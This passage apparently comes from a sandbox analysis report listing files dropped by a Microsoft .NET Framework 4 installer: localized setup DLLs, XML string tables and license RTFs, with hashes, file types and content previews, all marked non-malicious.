.I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.

                  C:\6231e956ee22143d5ce90e\1053\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):17752
                  Entropy (8bit):5.196946497211754
                  Encrypted:false
                  SSDEEP:384:W9U6qxM8IJu5M/oZVQVWpyeWRLXci2jpvE:WIxMwLVWVMi2jpvE
                  MD5:28813510B82F45868B5BDC67FFF9C9FA
                  SHA1:696A06D1F7B13C20599C53E74969BDC99AB5D30A
                  SHA-256:EB0A73F6BFAF65FAA58440D57145709894E9A5354E840805EC02DCE153332249
                  SHA-512:A01A7C8147138125BBFF7D135FACF255A0284AFABD2BB28D5CB6E54C86A8F1A685855B5561584574A057D4FCFDEF630A10AD262495C58EA5DF974A3249787D9B
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........*...............................................P......8p....@.......................................... ...'..............X............................................................................................text...G...........................@..@.rsrc....0... ...(..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1053\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1053
                  Category:dropped
                  Size (bytes):3865
                  Entropy (8bit):5.329033876405121
                  Encrypted:false
                  SSDEEP:96:rTBfv+/9TfHTGDXtZEOuAs50Y1EIF19VWMpDHvuKMLDBD+d54+QFEp5Tf+8K+l1S:5ffduAs591EIb9gOpqDoDZQmx2W2
                  MD5:E2F73097FC60F5347BAD1C1E93B2941B
                  SHA1:8564447AF45B488AC713D898405B759365662598
                  SHA-256:72860227092C38AE5E00E24C75E9B263E77BD2032EE597AABE408B9176448097
                  SHA-512:94ECD5BD5053A417BFF3E49C5E7B362843D2C850DA09D389161D4F4D98DE624473E0F143E6A088AB288AB4DA49B7910FFC80F77401009F560B60470FB13609B1
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg1252\deff0\deflang1053\deflangfe1053{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset0 Times New Roman;}{\f2\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\ltrpar\sb120\sa120\lang1033\b\f0\fs28 TILL\'c4GGSLICENSVILLKOR F\'d6R PROGRAMVARA FR\'c5N MICROSOFT\par..\pard\brdrb\brdrs\brdrw10\brsp20 \ltrpar\sb120\sa120\fs22 MICROSOFT .NET FRAMEWORK 4 F\'d6R OPERATIVSYSTEMET MICROSOFT WINDOWS\f1\par..\f0 MICROSOFT .NET FRAMEWORK 4 CLIENT PROFILE F\'d6R OPERATIVSYSTEMET MICROSOFT WINDOWS\par..OCH ASSOCIERADE SPR\'c5KPAKET\f1\par..\pard\ltrpar\nowidctlpar\sb120\sa120\lang1053\b0\f0\fs20 Microsoft Corporation (eller beroende p\'e5 var du bor, ett av dess koncernbolag) licensierar detta till\'e4gg till dig.\lang1033\b \lang1053\b0 Om du innehar licens f\'f6r programvara f\'f6r operativsystemet Microsoft Windows (som detta till\'e4gg g\'e4ller f\'f6r) (\rdblquote pr

                  C:\6231e956ee22143d5ce90e\1055\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (658), with CRLF line terminators
                  Category:dropped
                  Size (bytes):76818
                  Entropy (8bit):3.7161950547055933
                  Encrypted:false
                  SSDEEP:1536:bM8DL5YHRL87mlQg5IgrbGZzwOS8Frc+iI0jJNJ7rtRpUR:bM8DL5YHRL87mlQg5IgrbGZzwOS8FrcS
                  MD5:65E771FED28B924942A10452BBBF5C42
                  SHA1:586921B92D5FB297F35EFFC2216342DAC1AE2355
                  SHA-256:45E30569A756D9BCBC5F9DAE78BDA02751FD25E1C0AEE471CE112CB4464A6EE2
                  SHA-512:D014A2A96F3A5C487EF1CADDD69599DBEC15DA5AD689D68009F1CA4D5CB694105A7903F508476D6FFEC9D81386CB184DF6FC428D34F056190CEE30715514A8F7
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".K.u.r.u.l.u.m. .u.y.u.m.l.u.l.u.k. .m.o.d.u.n.d.a. ...a.l.1._.a.m.a.z... .D.a.h.a. .f.a.z.l.a. .b.i.l.g.i. .i...i.n. .b.k.z... .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.B.e.n.i.o.k.u. .d.o.s.y.a.s.1.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.W.a.r.n.i.n.g.).". .L.o.c.a.l.i.z.e.d.T.

                  C:\6231e956ee22143d5ce90e\1055\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):17752
                  Entropy (8bit):5.263298426482242
                  Encrypted:false
                  SSDEEP:384:Hfp2mDyEkEIb7/dscoGvXdBXbtRS0W0eW0LXci2jpvhPN:H1DyEkEIFscVXdBXbtRVsMi2jpvhl
                  MD5:357A1CBF08A83E657FFAE8639AC1212A
                  SHA1:384DF3D9DBBE27731785D92C257B7BA584FBE5E8
                  SHA-256:DD7337A6C67B39905A9B01C4212667F27EDFB68E86D1099E20EC37B03C51E7B9
                  SHA-512:67E47DF1E462A279C909B7B4255BEC4824554890CFF789BDF6691898A66E71DB007794476508F9290D95ACCE908109AA589A3A01A04125AEBB9EFBF67AEBF25F
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........*...............................................P............@.......................................... ...'..............X............................................................................................text...G...........................@..@.rsrc....0... ...(..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1055\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1254, default language ID 1055
                  Category:dropped
                  Size (bytes):3859
                  Entropy (8bit):5.120677849638168
                  Encrypted:false
                  SSDEEP:96:VSfjQOTqfRRTqfSD+vmScfQEz04jMpDLiIzhZLlZhD2:wfcFpcfEo4jOT2
                  MD5:D71A0D5B6CB13901CD35C036D395BE59
                  SHA1:B0F83CF648C2E84119A32AFD2E0EF409BB2047CE
                  SHA-256:A8850F6DBF56B6C55D255E81B15A3D17196EEE89FFBE41CDFCA19205628C1A7B
                  SHA-512:FE7C6E54014AD963F51850973F5AE5872FBA9843F1C20973F5E875008064F870A5217C2C9ADA3D92A3F1B2DF6318D5137814943D6295E72CF27343DF93B957E1
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg1254\deff0\deflang1055\deflangfe1055{\fonttbl{\f0\fswiss\fprq2\fcharset162 Tahoma;}{\f1\froman\fprq2\fcharset162{\*\fname Times New Roman;}Times New Roman TUR;}{\f2\fswiss\fprq2\fcharset162 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\ltrpar\nowidctlpar\sb120\sa120\b\f0\fs20 MICROSOFT YAZILIM EK\'dd L\'ddSANS KO\'deULLARI\lang1033\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \ltrpar\nowidctlpar\sb120\sa120\lang1055\f0 MICROSOFT WINDOWS \'dd\'deLET\'ddM S\'ddSTEMLER\'dd \'dd\'c7\'ddN MICROSOFT .NET FRAMEWORK 4\lang1033\f1\par..\lang1055\f0 MICROSOFT WINDOWS \'dd\'deLET\'ddM S\'ddSTEMLER\'dd \'dd\'c7\'ddN MICROSOFT .NET FRAMEWORK 4 \'ddSTEMC\'dd PROF\'ddL\'dd\par..VE \'ddL\'dd\'deK\'ddL\'dd D\'ddL PAKETLER\'dd\lang1033\f1\par..\pard\ltrpar\nowidctlpar\sb120\sa120\lang1055\b0\f0 Microsoft Corporation (veya ya\'fead\'fd\'f0\'fdn\'fdz yere g\'f6re bir ba\'f0l\'fd \'feirketi) bu ekin lisans\'fdn\'fd size v

                  C:\6231e956ee22143d5ce90e\2052\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (452), with CRLF line terminators
                  Category:dropped
                  Size (bytes):60684
                  Entropy (8bit):4.338517891382778
                  Encrypted:false
                  SSDEEP:384:4w7yHdhTgqbbT1HjWZez2jtKgst+7x0x8EM5NnqQivGXU4woZukC7FQKAuXR/4mn:dyjg2z2bXXwoZukC7FQKAuXRgcJf
                  MD5:10DA125EEABCBB45E0A272688B0E2151
                  SHA1:6C4124EC8CA2D03B5187BA567C922B6C3E5EFC93
                  SHA-256:1842F22C6FD4CAF6AD217E331B74C6240B19991A82A1A030A6E57B1B8E9FD1EC
                  SHA-512:D968ABD74206A280F74BF6947757CCA8DD9091B343203E5C2269AF2E008D3BB0A17FF600EB961DBF69A93DE4960133ADE8D606FB9A99402D33B8889F2D0DA710
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."..[..z.^.e.l.N|Q.['`!j._.L..0.gsQ..~.Oo`.....S..&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.....e.N&.l.t.;./.A.&.g.t.;..0"./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.W.a.r.n.i.n.g.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".xS}. .M.i.c.r.o.s.o.f.t. ...N.E.T. .F.r.a.m.e.w.o.r.k. ..S...O.[..g.N.^(u.z.^.e.lck8^.L.

                  C:\6231e956ee22143d5ce90e\2052\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):14168
                  Entropy (8bit):6.010838262457833
                  Encrypted:false
                  SSDEEP:192:rsLnUfwVWtTXjuQShyjK7tWUEW5IQKPnEtObMacxc8hjeyveCXMOV:4eCTFhMKZWUEW5ILXci2jpvP
                  MD5:407CDB7E1C2C862B486CDE45F863AE6E
                  SHA1:308AEEBEB1E1663ACA26CE880191F936D0E4E683
                  SHA-256:9DD9D76B4EF71188B09F3D074CD98B2DE6EA741530E4EA19D539AE3F870E8326
                  SHA-512:7B4F43FC24EB30C234F2713C493B3C13928C591C77A3017E8DD806A41CCFEDD53B0F748B5072052F8F9AC43236E8320B19D708903E3F06C59C6ED3C12722494E
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........................................................@.......y....@.......................................... ............... ..X............................................................................................text...G...........................@..@.rsrc.... ... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\2052\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):5827
                  Entropy (8bit):4.418112026919231
                  Encrypted:false
                  SSDEEP:96:M5DBmf0jLTCLLgLTCLLmDjxrDT2k9rkKp7aDKaXzaWZMa/O9wzy6n/MpDTKTGptk:EmfJXoQkRGDtXeWZv/O9XmOdZzQJWBBi
                  MD5:4288C2541843F75C348D825FC8B94153
                  SHA1:E0DD8ED7BDB3C941A589361EE764F49A3619C264
                  SHA-256:C30A7597AA67E2847940E2C24F09B35C07B1EC759ADBCA7C8261141FC1ECCA92
                  SHA-512:7BA9991FE4EED625FE7BEF96A1D3AE70CB7616AAD034236D1A2B346A08B48280CB6C20D2B059DA9953919B0265125FE56DC5F4CC619AC653B4C1164ED564B359
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\fnil\fprq2\fcharset134 \'cb\'ce\'cc\'e5;}{\f2\froman\fprq2\fcharset0 Times New Roman;}{\f3\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}{\info{\horzdoc}{\*\lchars $(.<?[\'7b\'a3\'a5\'ab\'b7\'91\'93}{\*\fchars !"%'),.:\'3b>?]`|\'7d~\'a2\'a8\'af\'b0\'b7\'bb\'92\'94\'85\'89\'9b}}..\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\b\f0\fs20 MICROSOFT \lang2052\f1\'c8\'ed\'bc\'fe\'b2\'b9\'b3\'e4\'b3\'cc\'d0\'f2\'d0\'ed\'bf\'c9\'cc\'f5\'bf\'ee\lang1033\f2\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\lang2052\f1\'d3\'c3\'d3\'da\lang1033\f0 MICROSOFT WINDOWS \lang2052\f1\'b2\'d9\'d7\'f7\'cf\'b5\'cd\'b3\'b5\'c4\lang1033\f0 MICROSOFT .NET FRAMEWORK 4\f2\par..\lang2052\f1\'d3\'c3\'d3\'da\lang1033\f0 MICROSOFT WINDOWS \lang2052\f1\'b2\'d9\'d7\'f7\'cf\'b5\'cd\'b3\'b5\'c4\lang1033\f0 MICROSOFT .NET FRAMEWORK 4 CLI

                  C:\6231e956ee22143d5ce90e\2070\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (665), with CRLF line terminators
                  Category:dropped
                  Size (bytes):80254
                  Entropy (8bit):3.5905984831890927
                  Encrypted:false
                  SSDEEP:384:4wdLPpRgMjLeUueUA48DYeUOqeUd/iboeuXWpFPYOAjw/BdgysR0AmhRod30J0qf:fenekeCeRuXWpFxgJMh230JMaWs
                  MD5:7FA9926A4BC678E32E5D676C39F8FB97
                  SHA1:BBA4311DD30261A9B625046F8A6EA215516C9213
                  SHA-256:A25EE75C78C24C50440AD7DE9929C6A6E1CC0629009DC0D01B90CBAC177DD404
                  SHA-512:E06423BC1EA50A566D341DC513828608E9B6611FEA81D33FCA471A38F6B2B61B556EA07A5DEC0830F3E87194975D87F267A5E5E1A2BE5E6A86B07C5BB2BDDCB6
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".O. .p.r.o.g.r.a.m.a. .d.e. .c.o.n.f.i.g.u.r.a.....o. .n...o. .p.o.d.e. .s.e.r. .e.x.e.c.u.t.a.d.o. .n.o. .m.o.d.o. .d.e. .c.o.m.p.a.t.i.b.i.l.i.d.a.d.e... .P.a.r.a. .m.a.i.s. .i.n.f.o.r.m.a.....e.s.,. .c.o.n.s.u.l.t.e. .o. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.F.i.c.h.e.i.r.o. .L.e.i.a.-.m.e.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.

                  C:\6231e956ee22143d5ce90e\2070\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):18776
                  Entropy (8bit):5.195239987750812
                  Encrypted:false
                  SSDEEP:192:8ae5UfwxWr4KyGpTOSZmzmTssa8x91cvWp7eWYQKPnEtObMacxc8hjeyveCXgs:V32NAT7ZmzmYpqUvWp7eWYLXci2jpvas
                  MD5:58CB55FA4D9E2F62F675720B1269137D
                  SHA1:472F8E4982369C703C78091E66E33BF6B2A03F09
                  SHA-256:9C9E0ABFDB8065ECEC3420398DA687FAD4429F4CBF68B7082C8221925BF8D86B
                  SHA-512:123906A064033F37891DBB9C2A01A990AFD3C8447E38CDF66265784449FDD94806372A589A7DEA074830EB1DF7812E4877A1EE59171D37F1652167A03D2B961B
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........................................................P......U^....@.......................................... .. *...........2..X............................................................................................text...G...........................@..@.rsrc....0... ...,..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\2070\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 2070
                  Category:dropped
                  Size (bytes):4015
                  Entropy (8bit):5.250694812846901
                  Encrypted:false
                  SSDEEP:96:r4IffB09DkTLGTHD28ygHx0LlHKe1rvGA9mE0Eyh+iH/OMpiKwIurpEpiT0T8x8w:VfB8ygHclqe1ruAYEBm+imOvurerV2
                  MD5:4518BE9A9BCA5BE1D8AC926A4B2C087D
                  SHA1:D089427D93EA726380E89ECF00127BD51A4DCFC1
                  SHA-256:D838ACF5ED559C58F623F73AF4902A13848502778EEA7AF585AC2E801D7C8C45
                  SHA-512:7BCF5248E36D98D74040B6AFB08CA62A3255E397A26FF6DCA9A8E42BADF71BC0005FD8FE8B3CA3A4896434823A9E3401EEC86EF60B1A6CE395CE21A710626478
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg1252\deff0\deflang2070\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset0 Times New Roman;}{\f2\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue0;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\ltrpar\nowidctlpar\sb120\sa120\b\f0\fs28 TERMOS DE LICENCIAMENTO SUPLEMENTARES PARA SOFTWARE MICROSOFT\lang1033\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \ltrpar\nowidctlpar\sb120\sa120\lang2070\f0\fs22 MICROSOFT .NET FRAMEWORK 4 PARA O SISTEMA OPERATIVO MICROSOFT WINDOWS\lang1033\f1\par..\lang2070\f0 MICROSOFT .NET FRAMEWORK 4 CLIENT PROFILE PARA O SISTEMA OPERATIVO MICROSOFT WINDOWS\par..E PACOTES DE IDIOMAS ASSOCIADOS\lang1033\f1\fs20\par..\pard\ltrpar\nowidctlpar\sb120\sa120\lang2070\b0\f0 A Microsoft Corporation (ou, dependendo do pa\'eds em que reside, uma das respectivas empresas afiliadas) licencia este suplemento para o Adquirente.\lang1033\b \lang2070\b0 Se o Adquirente es

                  C:\6231e956ee22143d5ce90e\3076\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (457), with CRLF line terminators
                  Category:dropped
                  Size (bytes):60816
                  Entropy (8bit):4.3418522371704045
                  Encrypted:false
                  SSDEEP:384:4wCGbCWB6rFk+2jP8lxtrzh1hsPN7ODPnPgQy50sJCXnofDPiv:tbCWYFrewYTJCf
                  MD5:967A6D769D849C5ED66D6F46B0B9C5A4
                  SHA1:C0FF5F094928B2FA8B61E97639C42782E95CC74F
                  SHA-256:0BC010947BFF6EC1CE9899623CCFDFFD702EEE6D2976F28D9E06CC98A79CF542
                  SHA-512:219B13F1BEEB7D690AF9D9C7D98904494C878FBE9904F8CB7501B9BB4F48762F9D07C3440EFA0546600FF62636AC34CB4B32E270CF90CB47A9E08F9CB473030C
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."..[..z._!q.l(W.v.['`!j._.N.WL..0.Y..s.0}.......S..&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;....b.jHh&.l.t.;./.A.&.g.t.;..0"./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.W.a.r.n.i.n.g.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."..d..[. .M.i.c.r.o.s.o.f.t. ...N.E.T. .F.r.a.m.e.w.o.r.k. ..S...g.\..g.N.a(u.z._\PbkK.

                  C:\6231e956ee22143d5ce90e\3076\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):14168
                  Entropy (8bit):5.9724110685335825
                  Encrypted:false
                  SSDEEP:192:fc2+tUfwZWPl53LmlVlSW1g+/axw0lczWpXEWUQKPnEtObMacxc8hjeyveCXzHbk:hzuwLmlCW1g+/kmzWpXEWULXci2jpv3e
                  MD5:7C136B92983CEC25F85336056E45F3E8
                  SHA1:0BB527E7004601E920E2AAC467518126E5352618
                  SHA-256:F2E8CA58FA8D8E694D04E14404DEC4E8EA5F231D3F2E5C2F915BD7914849EB2B
                  SHA-512:06DA50DDB2C5F83E6E4B4313CBDAE14EED227EEC85F94024A185C2D7F535B6A68E79337557727B2B40A39739C66D526968AAEDBCFEF04DAB09DC0426CFBEFBF4
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........................................................@......E.....@.......................................... ..X............ ..X............................................................................................text...G...........................@..@.rsrc.... ... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\3076\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 950, default language ID 1033
                  Category:dropped
                  Size (bytes):6309
                  Entropy (8bit):4.470827969332999
                  Encrypted:false
                  SSDEEP:96:/R8NRf8TTVKTu4LuTu4LrzZD41raZM4HbegdxqKZJQ1/FSMZJujgzc/MpD1JzIf2:/R4Rfm2NBZMjOfro2n6CA2
                  MD5:6F2F198B6D2F11C0CBCE4541900BF75C
                  SHA1:75EC16813D55AAF41D4D6E3C8D4948E548996D96
                  SHA-256:D7D3CFBE65FE62DFA343827811A8071EC54F68D72695C82BEC9D9037D4B4D27A
                  SHA-512:B1F5B812182C7A8BF1C1A8D0F616B44B0896F2AC455AFEE56C44522B458A8638F5C18200A8FB23B56DC1471E5AB7C66BE1BE9B794E12EC06F44BEEA4D9D03D6F
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg950\deff0\deflang1033\deflangfe1028{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset136 \'b7\'73\'b2\'d3\'a9\'fa\'c5\'e9;}{\f2\froman\fprq2\fcharset0 Times New Roman;}{\f3\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}{\info{\horzdoc}{\*\lchars (<?[`\'7b\'a2\'47\'a2\'44?\'a1\'a5\'a1\'a7}{\*\fchars !'),.:\'3b>?]|\'7d\'a2\'46\'a1\'50?\'a1\'56\'a1\'58\'a1\'a6\'a1\'a8\'a1\'45\'a1\'4b}}..\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\b\f0\fs28 MICROSOFT \lang1028\f1\'b3\'6e\'c5\'e9\'bc\'57\'b8\'c9\'b1\'c2\'c5\'76\'b1\'f8\'b4\'da\lang1033\f2\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\f0\fs20 MICROSOFT WINDOWS \lang1028\f1\'a7\'40\'b7\'7e\'a8\'74\'b2\'ce\'aa\'ba\lang1033\f0 MICROSOFT .NET FRAMEWORK 4\f2\par..\f0 MICROSOFT WINDOWS \lang1028\f1\'a7\'40\'b7\'7e\'a8\'74\'b2\'ce\'aa\'ba\lang1033\f0 MICROSOFT .NET FRAMEWORK 4 \lang1028\f1\'a5\'ce\'a4\'e1\'ba\'dd\'b3\'5d\'a9

                  C:\6231e956ee22143d5ce90e\3082\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (656), with CRLF line terminators
                  Category:dropped
                  Size (bytes):79996
                  Entropy (8bit):3.5542515107748844
                  Encrypted:false
